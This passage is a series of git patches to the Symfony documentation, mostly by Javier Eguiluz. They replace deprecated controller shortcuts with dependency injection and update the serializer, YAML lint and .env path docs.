    single: Validation; Constraints
 

From 901535cad8fa668727b12097790b229902ba4f1c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Aug 2021 14:52:19 +0200
Subject: [PATCH 1060/5766] Deprecate the get() and has() shortcuts of
 AbstractController

---
 best_practices.rst | 2 +-
 forms.rst          | 5 +++--
 2 files changed, 4 insertions(+), 3 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 4928c79a6f9..d6eb4786efe 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -244,7 +244,7 @@ Use Dependency Injection to Get Services
 
 If you extend the base ``AbstractController``, you can only access to the most
 common services (e.g ``twig``, ``router``, ``doctrine``, etc.), directly from the
-container via ``$this->container->get()`` or ``$this->get()``.
+container via ``$this->container->get()``.
 Instead, you must use dependency injection to fetch services by
 :ref:`type-hinting action method arguments <controller-accessing-services>` or
 constructor arguments.
diff --git a/forms.rst b/forms.rst
index 3814caa0646..08499f0239d 100644
--- a/forms.rst
+++ b/forms.rst
@@ -857,14 +857,15 @@ method::
 
     use App\Form\TaskType;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\Form\FormFactoryInterface;
     // ...
 
     class TaskController extends AbstractController
     {
-        public function new(): Response
+        public function new(FormFactoryInterface $formFactory): Response
         {
             $task = ...;
-            $form = $this->get('form.factory')->createNamed('my_name', TaskType::class, $task);
+            $form = $formFactory->createNamed('my_name', TaskType::class, $task);
 
             // ...
         }

From e7ce930feb34133438cba73757314ff455badf80 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Aug 2021 15:30:45 +0200
Subject: [PATCH 1061/5766] Reword

---
 doctrine/events.rst | 15 +++++----------
 1 file changed, 5 insertions(+), 10 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 25c04f69bd5..b2a76b6ac56 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -406,18 +406,13 @@ want to log all the database activity. To do so, define a subscriber for the
         }
     }
 
-.. note::
-
-    ``Doctrine\Bundle\DoctrineBundle\EventSubscriber\EventSubscriberInterface``
-    is a marker interface extending ``Doctrine\Common\EventSubscriber`` and was
-    introduced in DoctrineBundle 2.1.
-    Subscribers implementing this interface will be enabled automatically in the
-    Symfony application.
-    In older versions of DoctrineBundle, the service had to be added manually
-    and tagged with the ``doctrine.event_subscriber`` tag.
+If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`
+and DoctrineBundle 2.1 (released May 25, 2020) or newer, this example will already
+work! Otherwise, :ref:`create a service <service-container-creating-service>` for this
+subscriber and :doc:`tag it </service_container/tags>` with ``doctrine.event_subscriber``.
 
 If you need to associate the subscriber with a specific Doctrine connection, you
-can do it in the service configuration:
+must do that in the manual service configuration:
 
 .. configuration-block::
 

From 4405199a27619b9355db93f7041aee3f3520ee3d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Aug 2021 16:56:00 +0200
Subject: [PATCH 1062/5766] Added some references

---
 components/console/helpers/questionhelper.rst |  2 ++
 components/options_resolver.rst               |  2 ++
 validation.rst                                | 21 ++++++++++---------
 3 files changed, 15 insertions(+), 10 deletions(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 929d7709dac..9d571e524c3 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -353,6 +353,8 @@ method::
     of the validator. If the answer is invalid, don't throw exceptions in the
     normalizer and let the validator handle those errors.
 
+.. _console-validate-question-answer:
+
 Validating the Answer
 ---------------------
 
diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index bb178942050..dac384c7f62 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -335,6 +335,8 @@ is thrown::
 In sub-classes, you can use :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::addAllowedTypes`
 to add additional allowed types without erasing the ones already set.
 
+.. _optionsresolver-validate-value:
+
 Value Validation
 ~~~~~~~~~~~~~~~~
 
diff --git a/validation.rst b/validation.rst
index d258775268e..d4dd7b9279a 100644
--- a/validation.rst
+++ b/validation.rst
@@ -236,17 +236,10 @@ Inside the template, you can output the list of errors exactly as needed:
 Validation Callables
 ~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.1
-
-    ``Validation::createCallable()`` was introduced in Symfony 5.1.
-
-.. versionadded:: 5.3
-
-    ``Validation::createValidCallable()`` was introduced in Symfony 5.3.
-
 The ``Validation`` also allows you to create a closure to validate values
-against a set of constraints (e.g. in :doc:`Console </components/console/helpers/questionhelper>`
-or :doc:`OptionsResolver </components/options_resolver>`):
+against a set of constraints (useful for example when
+:ref:`validating Console command answers <console-validate-question-answer>` or
+when :ref:`validating OptionsResolver values <optionsresolver-validate-value>`):
 
 :method:`Symfony\\Component\\Validator\\Validation::createCallable`
     This returns a closure that throws ``ValidationFailedException`` when the
@@ -254,6 +247,14 @@ or :doc:`OptionsResolver </components/options_resolver>`):
 :method:`Symfony\\Component\\Validator\\Validation::createValidCallable`
     This returns a closure that returns ``false`` when the constraints aren't matched.
 
+.. versionadded:: 5.1
+
+    ``Validation::createCallable()`` was introduced in Symfony 5.1.
+
+.. versionadded:: 5.3
+
+    ``Validation::createValidCallable()`` was introduced in Symfony 5.3.
+
 .. index::
    single: Validation; Constraints
 

From 976aa17740ad26fd137608f79e9dcc2054ab957d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Aug 2021 16:57:30 +0200
Subject: [PATCH 1063/5766] Removed versionadded directives

---
 validation.rst | 8 --------
 1 file changed, 8 deletions(-)

diff --git a/validation.rst b/validation.rst
index 2d2915a6748..43cfd13ec04 100644
--- a/validation.rst
+++ b/validation.rst
@@ -247,14 +247,6 @@ when :ref:`validating OptionsResolver values <optionsresolver-validate-value>`):
 :method:`Symfony\\Component\\Validator\\Validation::createValidCallable`
     This returns a closure that returns ``false`` when the constraints aren't matched.
 
-.. versionadded:: 5.1
-
-    ``Validation::createCallable()`` was introduced in Symfony 5.1.
-
-.. versionadded:: 5.3
-
-    ``Validation::createValidCallable()`` was introduced in Symfony 5.3.
-
 .. index::
    single: Validation; Constraints
 

From db9635ec79f2653850f4eb01d506d19723632b78 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Aug 2021 17:45:20 +0200
Subject: [PATCH 1064/5766] Deprecate the Request::get() method

---
 create_framework/front_controller.rst | 6 +++---
 create_framework/http_foundation.rst  | 2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/create_framework/front_controller.rst b/create_framework/front_controller.rst
index e14f9f16d07..c4a321538a7 100644
--- a/create_framework/front_controller.rst
+++ b/create_framework/front_controller.rst
@@ -38,7 +38,7 @@ Let's see it in action::
     // framework/index.php
     require_once __DIR__.'/init.php';
 
-    $name = $request->get('name', 'World');
+    $name = $request->attributes->get('name', 'World');
 
     $response->setContent(sprintf('Hello %s', htmlspecialchars($name, ENT_QUOTES, 'UTF-8')));
     $response->send();
@@ -98,7 +98,7 @@ Such a script might look like the following::
 And here is for instance the new ``hello.php`` script::
 
     // framework/hello.php
-    $name = $request->get('name', 'World');
+    $name = $request->attributes->get('name', 'World');
     $response->setContent(sprintf('Hello %s', htmlspecialchars($name, ENT_QUOTES, 'UTF-8')));
 
 In the ``front.php`` script, ``$map`` associates URL paths with their
@@ -190,7 +190,7 @@ And the ``hello.php`` script can now be converted to a template:
 .. code-block:: html+php
 
     <!-- example.com/src/pages/hello.php -->
-    <?php $name = $request->get('name', 'World') ?>
+    <?php $name = $request->attributes->get('name', 'World') ?>
 
     Hello <?= htmlspecialchars($name, ENT_QUOTES, 'UTF-8') ?>
 
diff --git a/create_framework/http_foundation.rst b/create_framework/http_foundation.rst
index 3c84dd25e57..3bec0dcea63 100644
--- a/create_framework/http_foundation.rst
+++ b/create_framework/http_foundation.rst
@@ -141,7 +141,7 @@ Now, let's rewrite our application by using the ``Request`` and the
 
     $request = Request::createFromGlobals();
 
-    $name = $request->get('name', 'World');
+    $name = $request->attributes->get('name', 'World');
 
     $response = new Response(sprintf('Hello %s', htmlspecialchars($name, ENT_QUOTES, 'UTF-8')));
 

From 9b0fe51e590b923ec30ac48520c94757783d9538 Mon Sep 17 00:00:00 2001
From: Christin Gruber <c.gruber@touchdesign.de>
Date: Thu, 14 Jan 2021 12:50:53 +0100
Subject: [PATCH 1065/5766] Add the docs for the new --exclude option

---
 components/yaml.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/components/yaml.rst b/components/yaml.rst
index 29b8114ff53..c902ee66ddf 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -433,6 +433,12 @@ Then, execute the script for validating contents:
     # or contents passed to STDIN
     $ cat path/to/file.yaml | php lint.php
 
+Use the `--exclude` option to exclude one or more specific files from multiple file list:
+
+.. code-block:: terminal
+
+    $ php lint.php path/to/directory --exclude=path/to/directory/foo.yaml --exclude=path/to/directory/bar.yaml
+
 The result is written to STDOUT and uses a plain text format by default.
 Add the ``--format`` option to get the output in JSON format:
 

From 735a24b72f98858f26abd652c1ab26d2aacac448 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Aug 2021 13:00:14 +0200
Subject: [PATCH 1066/5766] Deprecate getDoctrine() and dispatchMessage()
 shortcuts

---
 doctrine.rst                              | 31 ++++++++----------
 doctrine/associations.rst                 | 28 ++++++----------
 doctrine/multiple_entity_managers.rst     | 40 +++++++++--------------
 forms.rst                                 |  4 ---
 introduction/from_flat_php_to_symfony.rst | 13 +++-----
 messenger.rst                             |  3 --
 reference/configuration/doctrine.rst      | 23 +++++++++----
 7 files changed, 60 insertions(+), 82 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 97d4fa79c86..5ee0a219251 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -367,11 +367,9 @@ and save it::
         /**
          * @Route("/product", name="create_product")
          */
-        public function createProduct(): Response
+        public function createProduct(ManagerRegistry $doctrine): Response
         {
-            // you can fetch the EntityManager via $this->getDoctrine()
-            // or you can add an argument to the action: createProduct(EntityManagerInterface $entityManager)
-            $entityManager = $this->getDoctrine()->getManager();
+            $entityManager = $doctrine->getManager();
 
             $product = new Product();
             $product->setName('Keyboard');
@@ -406,7 +404,11 @@ Take a look at the previous example in more detail:
 
 .. _doctrine-entity-manager:
 
-* **line 18** The ``$this->getDoctrine()->getManager()`` method gets Doctrine's
+* **line 14** The ``ManagerRegistry $doctrine`` argument tells Symfony to
+  :ref:`inject the Doctrine service <services-constructor-injection>` into the
+  controller method.
+
+* **line 16** The ``$doctrine->getManager()`` method gets Doctrine's
   *entity manager* object, which is the most important object in Doctrine. It's
   responsible for saving objects to, and fetching objects from, the database.
 
@@ -516,11 +518,9 @@ be able to go to ``/product/1`` to see your new product::
         /**
          * @Route("/product/{id}", name="product_show")
          */
-        public function show(int $id): Response
+        public function show(ManagerRegistry $doctrine, int $id): Response
         {
-            $product = $this->getDoctrine()
-                ->getRepository(Product::class)
-                ->find($id);
+            $product = $doctrine->getRepository(Product::class)->find($id);
 
             if (!$product) {
                 throw $this->createNotFoundException(
@@ -571,7 +571,7 @@ job is to help you fetch entities of a certain class.
 
 Once you have a repository object, you have many helper methods::
 
-    $repository = $this->getDoctrine()->getRepository(Product::class);
+    $repository = $doctrine->getRepository(Product::class);
 
     // look for a single Product by its primary key (usually "id")
     $product = $repository->find($id);
@@ -667,9 +667,9 @@ with any PHP model::
         /**
          * @Route("/product/edit/{id}")
          */
-        public function update(int $id): Response
+        public function update(ManagerRegistry $doctrine, int $id): Response
         {
-            $entityManager = $this->getDoctrine()->getManager();
+            $entityManager = $doctrine->getManager();
             $product = $entityManager->getRepository(Product::class)->find($id);
 
             if (!$product) {
@@ -718,8 +718,7 @@ You've already seen how the repository object allows you to run basic queries
 without any work::
 
     // from inside a controller
-    $repository = $this->getDoctrine()->getRepository(Product::class);
-
+    $repository = $doctrine->getRepository(Product::class);
     $product = $repository->find($id);
 
 But what if you need a more complex query? When you generated your entity with
@@ -786,9 +785,7 @@ Now, you can call this method on the repository::
     // from inside a controller
     $minPrice = 1000;
 
-    $products = $this->getDoctrine()
-        ->getRepository(Product::class)
-        ->findAllGreaterThanPrice($minPrice);
+    $products = $doctrine->getRepository(Product::class)->findAllGreaterThanPrice($minPrice);
 
     // ...
 
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 4a2fafb6467..193ef7da147 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -320,6 +320,7 @@ Now you can see this new code in action! Imagine you're inside a controller::
     // ...
     use App\Entity\Category;
     use App\Entity\Product;
+    use Doctrine\Persistence\ManagerRegistry;
     use Symfony\Component\HttpFoundation\Response;
 
     class ProductController extends AbstractController
@@ -327,7 +328,7 @@ Now you can see this new code in action! Imagine you're inside a controller::
         /**
          * @Route("/product", name="product")
          */
-        public function index(): Response
+        public function index(ManagerRegistry $doctrine): Response
         {
             $category = new Category();
             $category->setName('Computer Peripherals');
@@ -340,7 +341,7 @@ Now you can see this new code in action! Imagine you're inside a controller::
             // relates this product to the category
             $product->setCategory($category);
 
-            $entityManager = $this->getDoctrine()->getManager();
+            $entityManager = $doctrine->getManager();
             $entityManager->persist($category);
             $entityManager->persist($product);
             $entityManager->flush();
@@ -386,12 +387,9 @@ before. First, fetch a ``$product`` object and then access its related
 
     class ProductController extends AbstractController
     {
-        public function show(int $id): Response
+        public function show(ManagerRegistry $doctrine, int $id): Response
         {
-            $product = $this->getDoctrine()
-                ->getRepository(Product::class)
-                ->find($id);
-
+            $product = $doctrine->getRepository(Product::class)->find($id);
             // ...
 
             $categoryName = $product->getCategory()->getName();
@@ -422,11 +420,9 @@ direction::
     // ...
     class ProductController extends AbstractController
     {
-        public function showProducts(int $id): Response
+        public function showProducts(ManagerRegistry $doctrine, int $id): Response
         {
-            $category = $this->getDoctrine()
-                ->getRepository(Category::class)
-                ->find($id);
+            $category = $doctrine->getRepository(Category::class)->find($id);
 
             $products = $category->getProducts();
 
@@ -445,9 +441,7 @@ by adding JOINs.
     a "proxy" object in place of the true object. Look again at the above
     example::
 
-        $product = $this->getDoctrine()
-            ->getRepository(Product::class)
-            ->find($id);
+        $product = $doctrine->getRepository(Product::class)->find($id);
 
         $category = $product->getCategory();
 
@@ -517,11 +511,9 @@ object and its related ``Category`` in one query::
     // ...
     class ProductController extends AbstractController
     {
-        public function show(int $id): Response
+        public function show(ManagerRegistry $doctrine, int $id): Response
         {
-            $product = $this->getDoctrine()
-                ->getRepository(Product::class)
-                ->findOneByIdJoinedToCategory($id);
+            $product = $doctrine->getRepository(Product::class)->findOneByIdJoinedToCategory($id);
 
             $category = $product->getCategory();
 
diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 62b1d23d237..e94ef907f57 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -232,20 +232,18 @@ the default entity manager (i.e. ``default``) is returned::
 
     // ...
     use Doctrine\ORM\EntityManagerInterface;
+    use Doctrine\Persistence\ManagerRegistry;
 
     class UserController extends AbstractController
     {
-        public function index(EntityManagerInterface $entityManager): Response
+        public function index(ManagerRegistry $doctrine): Response
         {
-            // These methods also return the default entity manager, but it's preferred
-            // to get it by injecting EntityManagerInterface in the action method
-            $entityManager = $this->getDoctrine()->getManager();
-            $entityManager = $this->getDoctrine()->getManager('default');
-            $entityManager = $this->get('doctrine.orm.default_entity_manager');
+            // Both methods return the default entity manager
+            $entityManager = $doctrine->getManager();
+            $entityManager = $doctrine->getManager('default');
 
-            // Both of these return the "customer" entity manager
-            $customerEntityManager = $this->getDoctrine()->getManager('customer');
-            $customerEntityManager = $this->get('doctrine.orm.customer_entity_manager');
+            // This method returns instead the "customer" entity manager
+            $customerEntityManager = $doctrine->getManager('customer');
 
             // ...
         }
@@ -267,29 +265,21 @@ The same applies to repository calls::
 
     use AcmeStoreBundle\Entity\Customer;
     use AcmeStoreBundle\Entity\Product;
+    use Doctrine\Persistence\ManagerRegistry;
     // ...
 
     class UserController extends AbstractController
     {
-        public function index(): Response
+        public function index(ManagerRegistry $doctrine): Response
         {
-            // Retrieves a repository managed by the "default" em
-            $products = $this->getDoctrine()
-                ->getRepository(Product::class)
-                ->findAll()
-            ;
+            // Retrieves a repository managed by the "default" entity manager
+            $products = $doctrine->getRepository(Product::class)->findAll();
 
-            // Explicit way to deal with the "default" em
-            $products = $this->getDoctrine()
-                ->getRepository(Product::class, 'default')
-                ->findAll()
-            ;
+            // Explicit way to deal with the "default" entity manager
+            $products = $doctrine->getRepository(Product::class, 'default')->findAll();
 
-            // Retrieves a repository managed by the "customer" em
-            $customers = $this->getDoctrine()
-                ->getRepository(Customer::class, 'customer')
-                ->findAll()
-            ;
+            // Retrieves a repository managed by the "customer" entity manager
+            $customers = $doctrine->getRepository(Customer::class, 'customer')->findAll();
 
             // ...
         }
diff --git a/forms.rst b/forms.rst
index 3814caa0646..7438276029e 100644
--- a/forms.rst
+++ b/forms.rst
@@ -397,10 +397,6 @@ written into the form object::
                 $task = $form->getData();
 
                 // ... perform some action, such as saving the task to the database
-                // for example, if Task is a Doctrine entity, save it!
-                // $entityManager = $this->getDoctrine()->getManager();
-                // $entityManager->persist($task);
-                // $entityManager->flush();
 
                 return $this->redirectToRoute('task_success');
             }
diff --git a/introduction/from_flat_php_to_symfony.rst b/introduction/from_flat_php_to_symfony.rst
index d6d631d6857..3d7ea851bb7 100644
--- a/introduction/from_flat_php_to_symfony.rst
+++ b/introduction/from_flat_php_to_symfony.rst
@@ -540,24 +540,21 @@ them for you. Here's the same sample application, now built in Symfony::
     namespace App\Controller;
 
     use App\Entity\Post;
+    use Doctrine\Persistence\ManagerRegistry;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
 
     class BlogController extends AbstractController
     {
-        public function list()
+        public function list(ManagerRegistry $doctrine)
         {
-            $posts = $this->getDoctrine()
-                ->getRepository(Post::class)
-                ->findAll();
+            $posts = $doctrine->getRepository(Post::class)->findAll();
 
             return $this->render('blog/list.html.twig', ['posts' => $posts]);
         }
 
-        public function show($id)
+        public function show(ManagerRegistry $doctrine, $id)
         {
-            $post = $this->getDoctrine()
-                ->getRepository(Post::class)
-                ->find($id);
+            $post = $doctrine->getRepository(Post::class)->find($id);
 
             if (!$post) {
                 // cause the 404 page not found to be displayed
diff --git a/messenger.rst b/messenger.rst
index 6a2fca76fb4..ae6f8a455b8 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -99,9 +99,6 @@ You're ready! To dispatch the message (and call the handler), inject the
             // will cause the SmsNotificationHandler to be called
             $bus->dispatch(new SmsNotification('Look! I created a message!'));
 
-            // or use the shortcut
-            $this->dispatchMessage(new SmsNotification('Look! I created a message!'));
-
             // ...
         }
     }
diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 7cd921abdcc..d7ce406ab76 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -155,13 +155,22 @@ which is the first one defined or the one configured via the
 ``default_connection`` parameter.
 
 Each connection is also accessible via the ``doctrine.dbal.[name]_connection``
-service where ``[name]`` is the name of the connection. In a controller
-extending ``AbstractController``, you can access it directly using the
-``getConnection()`` method and the name of the connection::
-
-    $connection = $this->getDoctrine()->getConnection('customer');
-
-    $result = $connection->fetchAll('SELECT name FROM customer');
+service where ``[name]`` is the name of the connection. In a :doc:`controller </controller>`
+you can access it using the ``getConnection()`` method and the name of the connection::
+
+    // src/Controller/SomeController.php
+    use Doctrine\Persistence\ManagerRegistry;
+
+    class SomeController
+    {
+        public function someMethod(ManagerRegistry $doctrine)
+        {
+            $connection = $doctrine->getConnection('customer');
+            $result = $connection->fetchAll('SELECT name FROM customer');
+
+            // ...
+        }
+    }
 
 Doctrine ORM Configuration
 --------------------------

From bd2af8bc12e272b759b06cbb3327f18c02c05890 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 10 Aug 2021 15:31:05 +0200
Subject: [PATCH 1067/5766] Added the tag in other config formats

---
 security/ldap.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/security/ldap.rst b/security/ldap.rst
index 01f5edae553..7573f901369 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -92,6 +92,7 @@ An LDAP client can be configured using the built-in
             <services>
                 <service id="Symfony\Component\Ldap\Ldap">
                     <argument type="service" id="Symfony\Component\Ldap\Adapter\ExtLdap\Adapter"/>
+                    <tag name="ldap"/>
                 </service>
                 <service id="Symfony\Component\Ldap\Adapter\ExtLdap\Adapter">
                     <argument type="collection">
@@ -114,7 +115,8 @@ An LDAP client can be configured using the built-in
         use Symfony\Component\Ldap\Ldap;
 
         $container->register(Ldap::class)
-            ->addArgument(new Reference(Adapter::class));
+            ->addArgument(new Reference(Adapter::class))
+            ->tag('ldap');
 
         $container
             ->register(Adapter::class)

From fac03e32775d1d81ce2359fe8df2593ad46e0c06 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Pineau?= <lyrixx@lyrixx.info>
Date: Tue, 3 Aug 2021 17:57:04 +0200
Subject: [PATCH 1068/5766] [Serializer] Add documentation about context and
 Serializer::EMPTY_ARRAY_AS_OBJECT

---
 serializer.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index 8cae58c5838..eec773dfba9 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -148,6 +148,29 @@ properties and setters (``setXxx()``) to change properties:
             ;
         };
 
+Serializer context
+------------------
+
+The serializer can use a (de)serialization context to control how a resource is (de)serialized.
+The context is passed to all normalizers. For example:
+
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` uses ``datetime_format`` key as date time format;
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\AbstractObjectNormalizer` uses ``empty_iterable_as_object`` to preserve empty objects (keeps ``{}`` instead of ``[]`` in JSON);
+
+.. versionadded:: 5.4
+
+    :class:`Symfony\\Component\\Serializer\\Serializer` uses ``empty_arrays_as_object`` to serialize empty array as object (uses ``{}`` instead of ``[]`` in JSON);
+
+You can pass the context like following::
+
+    $serializer->serialize($something, 'json', [
+        DateTimeNormalizer::FORMAT_KEY => 'Y-m-d H:i:s',
+    ]);
+
+    $serializer->deserialize($someJson, Something::class, 'json', [
+        DateTimeNormalizer::FORMAT_KEY => 'Y-m-d H:i:s',
+    ]);
+
 .. _serializer-using-serialization-groups-annotations:
 
 Using Serialization Groups Annotations

From 889cbd6c07c0418b4f4ecd2af47d9d9e3eecd704 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 10 Aug 2021 16:39:10 +0200
Subject: [PATCH 1069/5766] Minor reword

---
 serializer.rst | 16 ++++++++++------
 1 file changed, 10 insertions(+), 6 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index eec773dfba9..2931a361493 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -148,18 +148,22 @@ properties and setters (``setXxx()``) to change properties:
             ;
         };
 
-Serializer context
+Serializer Context
 ------------------
 
-The serializer can use a (de)serialization context to control how a resource is (de)serialized.
-The context is passed to all normalizers. For example:
+The serializer can define a context to control how the (de)serialization of
+resources. This context is passed to all normalizers. For example:
 
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` uses ``datetime_format`` key as date time format;
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\AbstractObjectNormalizer` uses ``empty_iterable_as_object`` to preserve empty objects (keeps ``{}`` instead of ``[]`` in JSON);
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` uses
+  ``datetime_format`` key as date time format;
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\AbstractObjectNormalizer`
+  uses ``empty_iterable_as_object`` to represent empty objects as ``{}`` instead
+  of ``[]`` in JSON.
 
 .. versionadded:: 5.4
 
-    :class:`Symfony\\Component\\Serializer\\Serializer` uses ``empty_arrays_as_object`` to serialize empty array as object (uses ``{}`` instead of ``[]`` in JSON);
+    The usage of the ``empty_arrays_as_object`` option by default in the
+    Serializer was introduced in Symfony 5.4.
 
 You can pass the context like following::
 

From f42d94b61717db8dba9553860872784204515ba2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 10 Aug 2021 16:39:47 +0200
Subject: [PATCH 1070/5766] Remove a versionadded directive

---
 serializer.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index ddc1e3c963a..6f2c7eb7fd5 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -156,11 +156,6 @@ resources. This context is passed to all normalizers. For example:
   uses ``empty_iterable_as_object`` to represent empty objects as ``{}`` instead
   of ``[]`` in JSON.
 
-.. versionadded:: 5.4
-
-    The usage of the ``empty_arrays_as_object`` option by default in the
-    Serializer was introduced in Symfony 5.4.
-
 You can pass the context like following::
 
     $serializer->serialize($something, 'json', [

From f0f6662db5553a906d61b633dd44228bc417370d Mon Sep 17 00:00:00 2001
From: William Pinaud <thedocrepinsfx@gmail.com>
Date: Mon, 9 Aug 2021 13:20:43 +0200
Subject: [PATCH 1071/5766] Add missing instructions to alter the environment
 directory

---
 configuration/override_dir_structure.rst | 61 +++++++++++++++++++++++-
 1 file changed, 60 insertions(+), 1 deletion(-)

diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index 819a023f5f6..89edeb2bd42 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -25,7 +25,66 @@ override it to create your own structure:
     │  ├─ cache/
     │  ├─ log/
     │  └─ ...
-    └─ vendor/
+    ├─ vendor/
+    └─ .env
+
+
+.. _override-env-dir:
+
+Override the Environment (DotEnv) Files Directory
+-------------------------------------------------
+
+Though the environment files directory is supposed to be the current project 
+root directory, you can actually set it via Composer or specifically in each
+bootstrapper file ``index.php`` (your :ref:`front controller <from_flat_php-front-controller>`) 
+or your ``console`` file (located by default in the ``bin/`` directory of 
+your application).
+
+You can change the ``runtime.dotenv_path`` option in the ``composer.json``
+file:
+
+.. code-block:: json
+
+    {
+        "...": "...",
+        "extra": {
+            "...": "...",
+            "runtime": {
+                "dotenv_path": "my_new_env_dir/.env"
+            }
+        }
+    }
+    
+.. tip::
+
+    Don't forget to update your Composer files (via ``composer update``, for instance),
+    so that the ``vendor/autoload_runtime.php`` files gets regenerated to reflect
+    your environment overrides for this.
+    
+If you want to set up different specific paths for your environment directories
+for your console and web server calls, you'll have to use the PHP files to 
+achieve so, by altering the ``$_SERVER`` configuration.
+
+For instance, you can do the following (starting Symfony ``5.3``)::
+
+    // bin/console
+
+    // ...
+    $_SERVER['APP_RUNTIME_OPTIONS']['dotenv_path'] = 'my_new_console_env_dir/.env';
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+    // ...
+
+And/or::
+
+    // public/index.php
+    
+    // ...
+    $_SERVER['APP_RUNTIME_OPTIONS']['dotenv_path'] = 'my_new_web_env_dir/.env';
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+    // ...
+
 
 .. _override-config-dir:
 

From c438054fe471eb2b9c5ecfe456b2dc2aeb468304 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 10 Aug 2021 16:57:26 +0200
Subject: [PATCH 1072/5766] Reword

---
 configuration/override_dir_structure.rst | 38 ++++++++++--------------
 1 file changed, 15 insertions(+), 23 deletions(-)

diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index 89edeb2bd42..46c60967f30 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -28,20 +28,14 @@ override it to create your own structure:
     ├─ vendor/
     └─ .env
 
-
 .. _override-env-dir:
 
 Override the Environment (DotEnv) Files Directory
 -------------------------------------------------
 
-Though the environment files directory is supposed to be the current project 
-root directory, you can actually set it via Composer or specifically in each
-bootstrapper file ``index.php`` (your :ref:`front controller <from_flat_php-front-controller>`) 
-or your ``console`` file (located by default in the ``bin/`` directory of 
-your application).
-
-You can change the ``runtime.dotenv_path`` option in the ``composer.json``
-file:
+By default, the :ref:`.env configuration file <config-dot-env>` is located at
+the root directory of the project. If you store it in a different location,
+define the ``runtime.dotenv_path`` option in the ``composer.json`` file:
 
 .. code-block:: json
 
@@ -50,37 +44,35 @@ file:
         "extra": {
             "...": "...",
             "runtime": {
-                "dotenv_path": "my_new_env_dir/.env"
+                "dotenv_path": "my/custom/path/to/.env"
             }
         }
     }
-    
-.. tip::
 
-    Don't forget to update your Composer files (via ``composer update``, for instance),
-    so that the ``vendor/autoload_runtime.php`` files gets regenerated to reflect
-    your environment overrides for this.
-    
-If you want to set up different specific paths for your environment directories
-for your console and web server calls, you'll have to use the PHP files to 
-achieve so, by altering the ``$_SERVER`` configuration.
+Then, update your Composer files (running ``composer update``, for instance),
+so that the ``vendor/autoload_runtime.php`` files gets regenerated with the new
+``.env`` path.
+
+You can also set up different ``.env`` paths for your console and web server
+calls. Edit the ``public/index.php`` and/or ``bin/console`` files to define the
+new file path.
 
-For instance, you can do the following (starting Symfony ``5.3``)::
+Console script::
 
     // bin/console
 
     // ...
